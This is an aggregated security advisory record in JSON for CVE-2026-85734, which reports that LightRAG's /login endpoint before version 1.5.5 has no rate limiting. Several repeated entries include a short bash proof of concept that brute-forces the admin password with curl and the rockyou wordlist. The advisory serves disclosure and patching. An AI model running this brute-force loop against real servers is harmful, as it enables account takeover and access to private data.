{"id":"CVE-2026-85734","aliases":["EUVD-2026-84548","GHSA-frch-4w6v-q5xx","PYSEC-2026-4062"],"status":"published","title":"LightRAG: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks","description":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00609,"percentile":0.49693,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-307"],"published":"2026-09-22T16:18:14Z","modified":"2026-10-28T02:30:26Z","fixes":[{"ecosystem":"PyPI","package":"lightrag-hku","fixed_in":["1.5.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"lightrag-hku","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.5"}]}]},{"source":"osv","ecosystem":"PyPI","package":"lightrag-hku","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.5"}]}],"versions":["0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","1.0.0","1.0.1","1.0.3","1.0.5","1.0.6","1.0.8","1.0.9","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.2.1","1.2.2","1.2.3","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.1","1.4.10","1.4.11","1.4.11rc2","1.4.12","1.4.12rc1","1.4.13","1.4.13rc1","1.4.14","1.4.15","1.4.16","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8.1","1.4.8.2","1.4.8rc4","1.4.8rc6","1.4.8rc7","1.4.8rc8","1.4.8rc9","1.4.9","1.4.9.1","1.4.9.10","1.4.9.11","1.4.9.2","1.4.9.3","1.4.9.4","1.4.9.4rc1","1.4.9.5","1.4.9.6","1.4.9.7","1.4.9.8","1.4.9.9","1.4.9rc1","1.4.9rc2","1.4.9rc3","1.4.9rc4","1.5.0","1.5.0rc1","1.5.0rc2","1.5.0rc3","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5rc1"]},{"source":"osv","ecosystem":"PyPI","package":"lightrag-hku","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.5"}]}],"versions":["0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","1.0.0","1.0.1","1.0.3","1.0.5","1.0.6","1.0.8","1.0.9","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.2.1","1.2.2","1.2.3","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.1","1.4.10","1.4.11","1.4.11rc2","1.4.12","1.4.12rc1","1.4.13","1.4.13rc1","1.4.14","1.4.15","1.4.16","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8.1","1.4.8.2","1.4.8rc4","1.4.8rc6","1.4.8rc7","1.4.8rc8","1.4.8rc9","1.4.9","1.4.9.1","1.4.9.10","1.4.9.11","1.4.9.2","1.4.9.3","1.4.9.4","1.4.9.4rc1","1.4.9.5","1.4.9.6","1.4.9.7","1.4.9.8","1.4.9.9","1.4.9rc1","1.4.9rc2","1.4.9rc3","1.4.9rc4","1.5.0","1.5.0rc1","1.5.0rc2","1.5.0rc3","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5rc1"]}],"products":[{"vendor":"hkuds","product":"lightrag"}],"references":[{"url":"https://github.com/HKUDS/LightRAG/security/advisories/GHSA-frch-4w6v-q5xx","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/HKUDS/LightRAG/pull/3424","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/HKUDS/LightRAG/commit/135bc9056e9ecd800c1abe2f2ce24d1a86622a54","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85734","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-frch-4w6v-q5xx","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/85xxx/CVE-2026-85734.json","tags":["advisory"]},{"url":"https://github.com/HKUDS/LightRAG","tags":["package"]},{"url":"https://pypi.org/project/lightrag-hku","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-85734","title":"LightRAG: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks","description":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.","status":"published","published":"2026-09-22T16:18:14.144Z","modified":"2026-09-22T17:43:42.025Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"cna"}],"cwes":["CWE-307"],"updated_at":"2026-11-02T14:19:52.410665Z"}],"euvd":[{"id":"EUVD-2026-84548","description":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.","status":"published","published":"2026-09-22T16:18:14Z","modified":"2026-09-22T17:43:42Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T17:28:02.149692Z"}],"ghsa":[{"id":"GHSA-frch-4w6v-q5xx","title":"lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks","description":"### Summary\nThe POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.\n\n### Details\n\n```python\n# lightrag/api/lightrag_server.py:2161\n@app.post(\"/login\")\nasync def login(form_data: OAuth2PasswordRequestForm = Depends()):\n    if not auth_handler.verify_password(username, form_data.password):\n        raise HTTPException(status_code=401, detail=\"Incorrect credentials\")\n    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter\n```\n\nA search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.\n\n### PoC\n\n```bash\n# Brute-force /login with a wordlist, no throttling\nwhile IFS= read -r pass; do\n  code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    -X POST http://\u003cTARGET\u003e:9621/login \\\n    -d \"username=admin\u0026password=${pass}\")\n  [ \"$code\" = \"200\" ] \u0026\u0026 echo \"[FOUND] $pass\" \u0026\u0026 break\ndone \u003c /usr/share/wordlists/rockyou.txt\n```\n\n### Impact\nImproper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.","status":"published","published":"2026-09-22T20:40:22Z","modified":"2026-09-22T20:40:23Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-307"],"updated_at":"2026-11-02T14:41:20.575159Z"}],"nvd":[{"id":"CVE-2026-85734","description":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.","status":"published","published":"2026-09-22T17:17:27.367Z","modified":"2026-09-22T18:17:23.53Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"secondary"}],"cwes":["CWE-307"],"updated_at":"2026-11-02T14:12:50.368368Z"}],"osv":[{"id":"CVE-2026-85734","title":"LightRAG: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks","description":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.","status":"published","published":"2026-09-22T16:18:14.144Z","modified":"2026-10-28T02:30:26.700564594Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-307"],"updated_at":"2026-11-02T15:45:18.825071Z"},{"id":"GHSA-frch-4w6v-q5xx","title":"lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks","description":"### Summary\nThe POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.\n\n### Details\n\n```python\n# lightrag/api/lightrag_server.py:2161\n@app.post(\"/login\")\nasync def login(form_data: OAuth2PasswordRequestForm = Depends()):\n    if not auth_handler.verify_password(username, form_data.password):\n        raise HTTPException(status_code=401, detail=\"Incorrect credentials\")\n    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter\n```\n\nA search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.\n\n### PoC\n\n```bash\n# Brute-force /login with a wordlist, no throttling\nwhile IFS= read -r pass; do\n  code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    -X POST http://\u003cTARGET\u003e:9621/login \\\n    -d \"username=admin\u0026password=${pass}\")\n  [ \"$code\" = \"200\" ] \u0026\u0026 echo \"[FOUND] $pass\" \u0026\u0026 break\ndone \u003c /usr/share/wordlists/rockyou.txt\n```\n\n### Impact\nImproper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.","status":"published","published":"2026-09-22T20:40:22Z","modified":"2026-10-01T17:56:08.809898136Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-307"],"updated_at":"2026-11-02T15:46:46.760785Z"},{"id":"PYSEC-2026-4062","title":"lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks","description":"### Summary\nThe POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.\n\n### Details\n\n```python\n# lightrag/api/lightrag_server.py:2161\n@app.post(\"/login\")\nasync def login(form_data: OAuth2PasswordRequestForm = Depends()):\n    if not auth_handler.verify_password(username, form_data.password):\n        raise HTTPException(status_code=401, detail=\"Incorrect credentials\")\n    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter\n```\n\nA search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.\n\n### PoC\n\n```bash\n# Brute-force /login with a wordlist, no throttling\nwhile IFS= read -r pass; do\n  code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    -X POST http://\u003cTARGET\u003e:9621/login \\\n    -d \"username=admin\u0026password=${pass}\")\n  [ \"$code\" = \"200\" ] \u0026\u0026 echo \"[FOUND] $pass\" \u0026\u0026 break\ndone \u003c /usr/share/wordlists/rockyou.txt\n```\n\n### Impact\nImproper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.","status":"published","published":"2026-10-01T16:38:37.498413Z","modified":"2026-10-01T17:45:05.547308424Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:52:57.255153Z"}]}}
